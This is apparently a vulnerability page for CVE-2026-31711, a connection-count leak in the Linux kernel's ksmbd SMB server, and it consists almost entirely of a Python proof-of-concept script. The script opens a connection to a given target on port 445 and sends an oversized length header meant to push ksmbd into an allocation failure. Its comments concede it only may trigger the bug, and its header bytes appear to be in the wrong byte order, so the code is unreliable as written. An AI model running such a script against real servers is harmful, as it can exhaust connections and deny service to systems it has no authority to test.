CVE-2026-31711: Linux内核ksmbd连接泄漏漏洞

import socket import sys def trigger_leak(target_ip, target_port=445): """ PoC for CVE-2026-31711. Attempts to trigger the active_num_conn leak in ksmbd. This script connects to the target and sends a large header to potentially induce memory pressure/allocation failure. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Send a large RFC1002 length header to stress allocation # MAX_STREAM_PROT_LEN is 0x00FFFFFF # Sending a large header might trigger alloc_transport failure conditions # under memory pressure or specific configurations. large_length = 0x00FFFFFF # Constructing a minimal SMB2 negotiate request with large length # Note: Actual exploitation requires forcing alloc_transport() == NULL, # which usually needs concurrent memory pressure. header = bytes([large_length & 0xFF, (large_length >> 8) & 0xFF, (large_length >> 16) & 0xFF, 0x00]) s.send(header) print(f"[+] Packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) trigger_leak(sys.argv[1])